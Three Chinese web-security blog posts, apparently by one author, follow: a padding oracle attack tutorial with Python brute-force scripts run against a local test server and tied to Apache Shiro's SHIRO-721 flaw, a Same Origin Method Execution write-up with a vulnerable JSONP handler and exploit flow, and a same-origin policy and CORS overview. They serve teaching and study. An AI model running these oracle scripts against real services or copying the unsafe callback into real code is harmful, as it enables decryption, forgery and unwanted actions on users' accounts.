0x00 About POA(Padding Oracle Attack) 最近一段时间 shiro 发了一个有关于 POA的公告：SHIRO-721，把这类攻击方式带了出来，这篇就打算简单讲讲有关于POA的一些东西（其实在 之前，就已经发现了shiro的这个问题了，但是一直没有公开XD 这种攻击方式，最早应该是在2002年的时候被提出来的，具体历史可以参考文末的资料来看看； 0x01 分组密码 这个攻击方式其实还挺有意思的，利用的并不是DES/AES本身的缺陷，而是块加密连接方式的缺陷。这次shiro的问题也主要是由于使用了CBC的块连接方式导致的。在开始分析POA之前，我们先简单复习一下密码学的相关的知识； 我们知道，无论是是AES还是DES，又或是3DES，都是基于“块”对数据进行加密的。我们以最简单的DES来说，先忽略掉整个DES算法的细节，我们将其当做一个黑盒函数来看待。标准的DES分组长度是64bit，也就是一次只能加密64bit的数据，即8byte。但是在实际中，我们加密的数据一般都是远远大于8byte的，那么这个时候要怎么办呢？于是就有了很多种分组加密模式，即按照加密算法的分组长度，将待加密的明文分割成不同的块（block），对每个块单独进行加密，并通过一些特定的方式进行连接，这样一来，就可以任意长度的数据进行加密了。 而POA所涉及到的加密模式，就是CBC（Cipher-block chaining）模式。在这个分组模式中，每个明文在加密之前，都需要与前一个分组产生的密文进行异或操作，我们来看两张图： 这两张图摘取自Wikipedia，分别是CBC的加密与解密的流程，在CBC模式中，每个明文块先与前一个密文块进行异或后，再进行加密。在这种方法中，每个密文块都依赖于它前面的所有明文块。同时，为了保证每条消息的唯一性，在第一个块中需要使用初始化向量。通过这个图很容易看出来了： 每个分组在加密之前，需要和上一个分组的密文进行异或操作； 每个分组在解密之后，需要和前一个分组的密文进行异或操作得到最终的明文； 除了这些，我们还看到了一个IV值，当我们对一个密文块进行操作的时候，由于没有前一个块，所以需要一个IV来替代前一个块进行相应的异或操作，这个IV就是初始向量(Initialization Vector)。 为了方便我们后面的原理分析，我们将DES算法完成后的值成为“中间值”（intermediary value）。具体中间值是什么，可以看下面的这两个流程图。 在分组密码中，还涉及到一个问题没有提到，也是非常重要的一点，就是padding方式。当我们加密的的数据长度，按照分组长度分割后，不够一个分组怎么办？这个时候就设计到数据填充了。要将这个分组通过某种方式进行padding，将其长度补充到一个分组长度。现在常用的补充方式也就是PKCS#5/PKCS#7，补充的方式可以用一段代码来表示： ''' PKCS#5 padding is identical to PKCS#7 padding, except that it has only been defined for block ciphers that use a 64 bit (8 byte) block size. But in AES, there is no block of 8 bit, so PKCS#5 is PKCS#7. ''' BS = AES.block_size pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] 补充的数据值，就是当前块分组的长度减去数据长度的值，然后重复补充到分组长度。如果不太明白，可以看下面这个图： 值得一提的是，当待加密的数据长度刚好满足分组长度的倍数时，仍然需要填充一个分组长度。 0x02 POA分析 通过POA，我们可以获取任意明文的值，也可以加密任意明文的值，但是POA其实是有一些前置条件的，并非所有使用CBC的场景都可以被成功的POA。我们现在来创造一些条件： 我们拥有加密后的密文，以及本次加密使用的IV 服务器会返回两种错误消息： 当解密出的值与预设值不同时，返回解密失败 当解密出的值出现padding错误时，返回padding error 为了测试方便，我写了一个简单的脚本来模拟服务器：https://gist.github.com/lightless233/33089f38cd6c0040f9cbcf56414295fd 我们先调用加密接口，获取一段密文来进行测试： > curl http://localhost:5000/encrypt?plain_text=ABCDEFG 4141414142424242592f51b9d537c8fd 现在我们有了一段密文以及对应的IV，其中IV是：4141414142424242，密文是：592f51b9d537c8fd 1. 获取任意明文 根据前面提到的解密流程，可以看到，密文在解密之后，会得到一个中间值，这个中间值需要和IV进行异或后，才会得到最终的明文。如果这个时候，我们将IV替换成不正确的IV，会发生什么事情？我们把IV全部替换成\x00来试一下 > curl http://localhost:5000/decrypt?cipher_text=0000000000000000592f51b9d537c8fd Error pad! 因为密文是正确的，所以解密出的中间值其实是正确的，但是因为我们提供了错误的IV，导致在进行异或之后得到的明文中，不符合PADDING。根据服务端的输出也证实了这一点： iv: b'0000000000000000' ,cipher: b'592f51b9d537c8fd' plain with pad: b'0003020507040543' 最后一个字节为\x43，很明显是有问题的，那么如果我们对IV的最后一个字节进行爆破，使其最后异或值为\x01，就变成了PADDING正确的状态，经过爆破，我们得到下面的结果： import requests for iv_byte in range(0, 0xff+1): ib = hex(iv_byte).split("0x")[1].zfill(2) url = "http://localhost:5000/decrypt?cipher_text=00000000000000" + ib + "592f51b9d537c8fd" resp = requests.get(url) print(resp.text) if ("Error pad!" not in resp.text): print("iv_byte:", ib) break > python poc.py Error pad! Error pad! ... Error key! iv_byte: 42 爆破得到了结果\x42，也就是说，当我们传入的IV是0000000000000042的时候，在解密异或完成后，最后一个值的结果是\x01，就是正确的PADDING值，同样看一下服务端的结果。 IV + cipher: 0000000000000042592f51b9d537c8fd iv: b'0000000000000042' ,cipher: b'592f51b9d537c8fd' plain with pad: b'0003020507040501' plain after unpad: b'00030205070405' 那么有了这个\x42可以做什么呢？我们再仔细回顾一下前面提到的解密流程，可以得出以下结论： IF 中间值 XOR 原始IV(\x42) === \x01 THEN 中间值 === \x42 XOR \x01 THEN 中间值 === 0x43 我们还知道，在原来正确解密的情况下，中间值异或IV将会获得正确的明文，我们现在有了中间值，只需要再异或正确的原始IV (\x42)，就得到了原始的明文值：\x01，这就是原始明文进行PADDING后的最后一个字节，也就是明文值的最后一个字节了。 接下来的事情就简单了，继续爆破倒数第二个字节。根据PADDING规则，我们需要构造IV使异或完的值变成??????\x02\x02。但是我们刚才的爆破过程中，是使得最后一个字节异或结果为\x01，这里就需要小改一下。我们已经有了真正的中间值，构造出异或结果为\x02的值也是非常简单的，令IV为\x00\x00\x00\x00\x00\x00\x??\x41，其中问号处就是我们需要爆破的地方。 简单的写一下爆破脚本： #!/usr/bin/env python3.8 # -*- coding: utf-8 -*- from binascii import hexlify, unhexlify import requests url = "http://localhost:5000/decrypt?cipher_text=" origin_cipher = "592f51b9d537c8fd" origin_iv = "4141414142424242" origin_interdata = [] guess_plain = [] for iv_byte_idx in range(1, 9): for iv_byte in range(0, 0xff+1): iv_byte_value = hex(iv_byte).split("0x")[1].zfill(2) iv_prefix = "00" * (8-iv_byte_idx) iv_suffix = "".join(list(map(lambda x: hex(x ^ iv_byte_idx).split("0x")[1].zfill(2), origin_interdata))) guess_iv = iv_prefix + iv_byte_value + iv_suffix guess_url = url + guess_iv + origin_cipher # print("guess_url:", guess_url) resp = requests.get(guess_url) print(resp.text) if ("Error pad!" not in resp.text): print("iv_byte:", iv_byte_value) origin_interdata.insert(0, iv_byte ^ iv_byte_idx) guess_plain.insert(0, unhexlify(origin_iv)[-iv_byte_idx] ^ (iv_byte ^ iv_byte_idx)) break plain = list(map(chr, guess_plain)) print(plain) # root @ VM-2-163-debian in ~/program/poa [20:49:52] $ python poc2.py Error pad! ... Error key! iv_byte: 42 Error pad! ... Error key! iv_byte: 07 Error pad! ... Error key! iv_byte: 07 Error pad! ... Error key! iv_byte: 03 Error key! iv_byte: 00 Error pad! ... Error key! iv_byte: 04 Error pad! ... Error key! iv_byte: 04 Error pad! ... Error key! iv_byte: 08 ['A', 'B', 'C', 'D', 'E', 'F', 'G', '\x01'] 这样一来，我们就获取到了第一个分组的明文。如果想要继续向后面爆破呢？根据CBC的流程，在解密流程处理第二个分组的时候，会将第一个密文块的结果当做IV来使用，所以只需要稍微修改我们的脚本就可以继续爆破了，由于原理一致，这里就不再展开叙述了。 2. 加密任意明文 前面讲到了如何获取任意的明文值，除此之外，POA还可以加密任意值，原理也是与前面相似的。 我们可以通过爆破IV获取完整的真实中间值； 最终的解密明文是IV异或中间值获得的； 那么我们可以通过修改IV，控制最终获得的明文； 在前面的例子中，我们可以在解密代码中看到一个判断： if plain_text != b"nnnn": return "Error key!" 现在我们的目标就是使这个条件成立，控制明文变成nnnn。如果要构造明文不足一个分组的情况： nnnn\x04\x04\x04\x04 修改一下前面的POC，将中间值打印出来：interdata: [0, 3, 2, 5, 7, 4, 5, 67] 然后继续构造IV: 6e6d6c6b03000147 发起请求试试： > curl http://localhost:5000/decrypt?cipher_text=6e6d6c6b03000147592f51b9d537c8fd nnnn 可以看到，成功的使明文变成了nnnn。 如果我们要伪造多个分组的明文，就需要稍微麻烦一点，需要从最后一个块开始构造，我们修改一下服务端，我们伪造一个多分组的明文来试一下。 if plain_text != b"lightless_233": return "Error key!" else: return b"Corrent key! " + plain_text 这个明文有13个字节，有两个分组： ['l', 'i', 'g', 'h', 't', 'l', 'e', 's'], ['s', '_', '2', '3', '3'] 与刚才的流程一样，先来伪造['s', '_', '2', '3', '3']这个分组，这里略去过程，直接给出结果： IV: 735c303634070640 这个时候的IV,其实是前一个块的密文值，我们需要再往前面补一个全为0的新IV，接下来就要用到刚才爆破IV的知识点，把新的中间值爆破出来： 0000000000000000735c303634070640 这个爆破的时候，POC要稍微改一下，我们不再爆破明文了，而是爆破新的中间值，把原理POC中guess_plain的获取部分注释掉即可，这样可以获得新的中间值： [166, 82, 211, 4, 129, 1, 20, 202] 接下来的事情就简单了，就是根据这个中间值，和我们希望的明文['l', 'i', 'g', 'h', 't', 'l', 'e', 's']，计算出IV即可。 IV:ca3bb46cf56d71b9 现在我们把所有的内容拼起来： ca3bb46cf56d71b9 + 735c303634070640 + 592f51b9d537c8fd -> ca3bb46cf56d71b9735c303634070640592f51b9d537c8fd 解密一下试试： > curl http://localhost:5000/decrypt?cipher_text=ca3bb46cf56d71b9735c303634070640592f51b9d537c8fd Corrent key! lightless_233 可以看到解密成功了，由于POC非常相似，这里就不再给出POC了。 0x03 SHIRO-721 之前Shiro出现了一个默认密钥反序列化的问题，在之前的文章中也分析过整个调用链，并没有十分复杂。后续官方移除了代码中的默认密钥，要求开发者自己设置，如果开发者没有设置，就会随机生成，在一定程度上避免了反序列化的问题。如果对之前的分析还有印象的话，可以发现Shiro对Cookie的加密方式为AES-CBC 以1.2.0分支的代码为例： 在core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java 106行的构造函数中，使用了AesCipherService。 继续跟进这个类，在core/src/main/java/org/apache/shiro/crypto/AesCipherService.java找到对应的实现，发现是继承自DefaultBlockCipherService，继续跟下去: 在core/src/main/java/org/apache/shiro/crypto/DefaultBlockCipherService.java中的160行左右找到了相关代码： 可以看到使用CBC模式，以及PKCS#5的填充模式。 在实际测试中也会发现，当我们提供了错误的密钥以及PADDING错误时，Shiro的返回值是不同的，这些就已经满足了POA的条件了。相关的POC网上已经有很多分析文章都给出了，这里不再赘述了。 Shiro最终在1.4.2版本修复了此问题，修复的方法也非常简单，即将默认的分组方式改为了GCM模式：[https://issues.apache.org/jira/browse/SHIRO-730?jql=project%20%3D%20SHIRO%20AND%20fixVersion%20%3D%201.4.2](https://issues.apache.org/jira/browse/SHIRO-730?jql=project %3D SHIRO AND fixVersion %3D 1.4.2) 0xFF 参考资料 除了CBC外，还有很多的分组加密模式，这些模式是否均受到POA的影响呢？很明显的是，ECB模式可能会受到比特翻转攻击，并不能完全的控制明文和密文。另外的一些OFB/CFB/CTR模式中，似乎可以对最后一个明文分组进行任意的修改，而且这些模式本质上是不需要进行填充补齐的。GCM的工作模式也决定了该模式是不受POA影响的。 这里给出一些参考资料，特别是下方资料中的第一篇，讲解的非常清晰，强烈推荐。 https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html http://netifera.com/research/poet/PaddingOracleBHEU10.pdf https://issues.apache.org/jira/browse/SHIRO-721 https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth 《PaddingOracleAttacks on the ISOCBCModeEncryptionStandard》http://www.isg.rhul.ac.uk/~kp/padding.pdf
0x00 什么是Same Origin Method Execution 先贴一篇paper，这个是Ben Hayak在Black Hat Eorope 2014演讲的题目，是关于如何利用JSONP之类的callback执行方法，特别是在对callback的参数名进行过滤之后的情况下。 我们都知道，JSONP可以利用callback的特性，来跨域传输数据，毫无疑问也可以同域间传递数据。我们试着考虑一下这种场景，某个网站在编辑文章的地方提供了一个颜色选择器，用来调整文字颜色，这个颜色选择器是一个弹出的窗口，通过一个callback参数与原页面进行通信，具体一下可能是下面这样： http://a.com/color.php?callback=get_color color.php的部分内容可能如下： 也就是当访问color.php?callback=get_color之后，会在当前页面执行get_color函数，进行数据处理之类的操作。如果开发者不注意的话，就会出现安全隐患。我们可以利用这个callback的缺陷，来执行用户不期望的敏感操作。注意一点，这并不是CSRF，一旦CSRF有了token就无法利用了（在不考虑同源XSS的情况下），但是SOME却是可以绕过这种限制进行敏感操作。 但是这种漏洞也是有着利用限制的，这个JSONP如果返回了类似Content-T ype: application/json的值，是无法利用的，因为这段代码并不会执行。通常情况下只有返回Content-Type: text/html才有利用的机会。有个较为简单的判断方法，当修改了URL中的callback值后，看看console中是否会有类似找不到方法xx，未定义的方法xx之类的提示，如果有的话，可以简单的认为，这个callback对应的函数会被执行。 0x01 利用前的理论基础 在JavaScrip中，我们可以通过window.open()方法打开一个新的窗口，而且新窗口与原窗口是可以互相交互的。 page1.html page2.html 从上面的代码可以看出，原页面可以通过变量获取到新页面，而新页面又可以通过window.opener获取到原页面，这也为SOME提供了利用基础，当然前提条件是page1和page2需是同源。 我们有了一个可以执行任意方法的接口，又知道了可以通过opener获取到原页面，那么我们就可以利用这种特性让用户进行他们不愿意的操作。 0x02 利用流程 准备一个some.html页面 让some.html打开some2.html页面 some.html跳转到目标页面（含有敏感操作dom的页面，例如含有点一下就删除订单、点一下就增加用户之类的敏感操作的页面） 在some.html跳转完成后，让some2.html跳转到发现的JSONP接口，并将callback修改为我们的payload 利用完成。 光这样看起来会感觉很难过，我把相关文件的代码贴出来。 info.php，JSONP接口，获取用户信息； <?php $callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"]; $data = [ "username" => "lightless", "avatar" => "http://cdn.lightless.me/images/01.jpg", ]; $data = json_encode($data); echo " "; secret.html，含有敏感DOM的页面，其中有个敏感按钮，点击会触发一些操作 Secret Button Access Token: Secret Token: 上面两部分假设分别是http://b.com/user.php?callback=view以及http://b.com/secret.html，其中secret.html中的内容以及按钮只有管理员才可以查看与操作，其他人是无权查看的。我们的目标就是『让管理员点击Secret Button按钮』。 接下来我们构造POC。首先要有个same.html，他负责打开新的页面，并且将当前页面重定向到含有敏感DOM的页面即secret.html。 same.html 最后的same2.html页面，需要等待same.html重定向完成后，重定向到JSONP接口，利用这个接口对window.opener（现在已经变成了b.com/secret.html）执行操作。 same2.html 这样当用户访问http://attacker.com/same.html的时候，实际上已经执行了b.com上的敏感操作。我这里录制了一段视频来演示这个利用过程：https://c1.lightless.me/SOME-VIDEO.mp4，需要的同学可以自取。 PS: SOME的作者在另外一场安全会议上的演讲，感觉比BHE2014讲的好很多：https://www.youtube.com/watch?v=OvarkOxxdic
同源策略应该是学习Web安全时最最基础的内容，时隔多年再回过头来仔细温习一下，发现了不少当初漏掉的细节，结合这么多年的安全经验，重新总结一下同源策略相关的内容。 0x00 何为同源策略 如果两个页面拥有相同的协议（http、https）、相同的端口（如果其中一个指定了端口）、相同的host，那么就可以认为这两个页面是同源的。简单的讲，同源策略就是同协议、同端口、同host这样的一个三元组，这里给出几个例子： 我们将所有的URL都与第一个URL相比： 第二个与第一个URL是相同的，原因是满足我们上面提到的三元组（协议、端口、host） 第三个与第一个相比，其协议不同； 第四个与第一个相比，其端口不同； 第五个与第一个相比，其host不同； 那么这种限制有什么作用呢？同源策略主要是限制了页面最后那个的脚本从另一个源加载资源时的行为，这对于防范恶意页面是一种很好的防御机制，如果恶意脚本请求了非同源的一个东西，那么这种行为就很可能因为同源策略的限制被浏览器拒绝，从而在某种程度上缓解了攻击。 对于about:blank和javascript:这种特殊的URL，他们的源应当是继承自加载他们的页面的源，他们本身并没有『源』的概念。 0x01 HTTP请求控制 我们已经知道了，浏览器会根据同源策略允许或拒绝加载某些资源，但是又一个问题由此而生，我们的网站通常会将静态文件（CSS,JS,图片）等放置在CDN上，那么CDN与当前域必然是不同源的，但是神奇的是，这些网站可以正常加载出他们需要的资源并展示给用户，这里为什么又不受同源策略的影响呢？ 再比如在使用XMLHttpRequest的时候，又会因为同源策略的限制无法发出请求，那么到底什么情况下会触发同源策略呢？总体来说，页面跨域的行为主要会分为三类，分别是： Cross-origin write Cross-origin read Cross-origin embedding 在这三种行为之中，通常情况下只有Cross-origin read是不被允许的，其余的两种是允许的，例如Cross-origin write中的links，重定向以及表单提交，Cross-origin embedding中的资源嵌入。 那么问题又来了，何种资源是允许嵌入的呢？MDN文档中也给出了一些例子： 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。 标签嵌入CSS。由于CSS的松散的语法规则，CSS的跨域需要一个设置正确的Content-Type消息头，不同浏览器有不同的限制。 嵌入图片。支持的图片格式包括PNG,JPEG,GIF,BMP,SVG,... 和 嵌入多媒体资源。 , 和 <applet>的插件。 @font-face引入的字体。一些浏览器允许跨域字体（cross-origin fonts），一些需要同源字体（same-origin fonts）。 和 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。 这样一来，可以通过 标签加载文件而不受同源策略的影响这件事情就明白了。 0x02 CORS又是什么东西 刚刚我们已经知道了，一些标签嵌入外域数据的时候，是不会受到同源策略的影响，但是如果我们在 脚本中想要获取外域的数据时，因为同源策略的干扰，就显的格外麻烦。出于安全考虑，浏览器通常情况下都会限制从script标签内部发起的跨域HTTP请求，比如前文提到的XMLHttpRequest，就会受到同源策略的影响，进而只能将数据发到同域内。 这里需要说明一点，这里的跨域请求可能不是浏览器直接拦截掉了，而是跨站请求发起了，但是返回结果被浏览器拦截了，请求实际上已经发送到了后端服务器。在Chrome和Firefox上，对于从https到http的跨域是会直接拦截，请求都无法发送成功。 于是就有了CORS策略，允许Web应用程序进行跨域访问。CORS的全称是cross-origin sharing stander，跨域资源共享标准。简单的讲，这个标准允许在以下的几个场景中发起跨域请求： 由XMLHttpRequest或Fetch等发起的跨域请求； Web字体，通过@font-face进行跨域调用； WebGL贴图； 使用 drawImage 将 Images/video 画面绘制到 canvas； 样式表（使用 CSSOM）； scripts； 在这些允许跨域的场景之中，我们作为安全人员，最关心的自然是scripts部分。 0x03 进击的CORS CORS通过一些特殊的HTTP头来确保哪些源站可以请求哪些资源，除此之外，如果这个请求会对服务器的数据产生修改的可能（这个说法并不是很准确，后面会详细阐述），将会在跨域之前发起一个preflight请求进行检查，如果检查不通过，那么不会发起跨域请求。 首先要明确一点，并不是所有的请求都会触发preflight机制，这些不会触发preflight的请求被称为simple request。 符合下列条件的请求，将不会触发preflight机制并视为simple request： GET请求 HEAD请求 Content-Type为指定值的POST请求，包括text/plain，multipart/form-data以及application/x-www-form-urlencode HTTP首部字段不能包含下列以外的值： Accept Accept-Language Content-Language Content-Type DPR Downlink Save-Data Viewport-Width Width 凡是不满足上述条件的请求，将被视为preflight request，并在发起跨域请求前，预先发起一个OPTIONS请求进行检查。在preflight request的返回头中，会包含一些关于是否允许发起跨域的信息。例如我们看这个preflight的例子，这个是向一个地址POST XML内容的请求： OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Origin: http://foo.example Access-Control-Request-Method: POST Access-Control-Request-Headers: X-TEST, Content-Type HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-TEST, Content-Type Access-Control-Max-Age: 86400 Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain 在OPTIONS请求中，发出了两个特殊的HTTP头，分别是Access-Control-Request-Method和Access-Control-Request-Headers，意思是告诉服务端，我接下来的请求中，会使用POST方法，并且会携带两个自定义的头部字段X-TEST和Content-Type（因为Content-Type的内容并非是我们上文中提到的三种之一，所以被看做是自定义头部）。 在返回头中，要注意四个字段： Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-TEST, Content-Type Access-Control-Max-Age: 86400 从第一行开始，表示允许来自(http,foo.example,80)这个源发来的数据，允许的方法为POST,GET,OPTIONS，允许使用自定义的头部X-TEST和Content-Type，该响应的有效时间是86400秒，如果在这个期间内，客户端无需为了同样的跨域请求再次发起preflight request，通常情况下，每个浏览器都有自己的最大时间以避免出现某些安全问题。 最后呢，神奇的是CORS还允许通过设置Cookies或HTTP认证来发送认证信息。如果发起的是一个简单请求，那么不会经过preflight，但是有一点需要注意，如果服务端返回的信息中没有Access-Control-Allow-Credentials: true，浏览器就会拦截返回内容，不会将内容返还给调用者。 0xFF 参考文献 Same-origin policy HTTP access control (CORS) Server-Side Access Control (CORS)